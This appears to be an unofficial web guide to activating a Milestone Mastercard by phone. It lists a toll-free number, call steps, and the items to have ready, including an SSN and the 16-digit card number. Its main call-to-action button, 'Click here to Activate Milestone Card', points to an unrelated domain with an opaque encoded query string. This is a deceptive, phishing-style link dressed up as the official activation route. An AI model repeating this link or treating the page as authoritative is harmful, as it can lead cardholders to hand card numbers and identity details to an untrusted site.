> ## Documentation Index
> Fetch the complete documentation index at: https://milestonecard.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# Activate Milestone Card by Phone - 1-866-453-2636 Guide

> Activate your Milestone Mastercard by phone at 1-866-453-2636. Step-by-step phone activation guide, hours, and what you need before calling.

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    href="https://flosyr.com/?S7es9fr0BB8boBX9K9VLp1YbiW2SBV76sn2XW4isnBOsPDh"
    style={{
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    Click here to Activate Milestone Card
  </a>
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You can activate your Milestone Mastercard by phone in about 3 minutes. Just call **1-866-453-2636** and follow the voice prompts.

## Phone number

* **Toll-free:** 1-866-453-2636
* **Hours:** 24 hours a day, 7 days a week
* **Language:** English and Spanish

## What to have ready

Before you call, keep these near you:

* Your new Milestone card
* Your Social Security Number
* Your date of birth
* A pen (to sign the back of the card after)

## Steps to activate by phone

<Steps>
  <Step title="Call 1-866-453-2636">
    Dial the toll-free number from any phone.
  </Step>

  <Step title="Select the activation option">
    Press the number the voice prompt tells you for activation.
  </Step>

  <Step title="Enter your card number">
    Use your phone keypad to type your 16-digit card number.
  </Step>

  <Step title="Verify your identity">
    Enter your SSN or date of birth when asked.
  </Step>

  <Step title="Wait for the confirmation">
    You will hear a message saying your card is now active.
  </Step>
</Steps>

## Why activate by phone?

* No internet needed
* Fast, under 5 minutes
* Great if you don't like websites
* Works even if the site is down

<Tip>
  Call from a quiet place so you can hear the prompts clearly.
</Tip>

## After the call

1. Sign the back of your card
2. Save the phone number for future help
3. Set up your online account at milestonecard.com when you can

## What if the automated system fails?

If you have trouble, press **0** during any prompt to speak to a live agent. They can activate your card for you.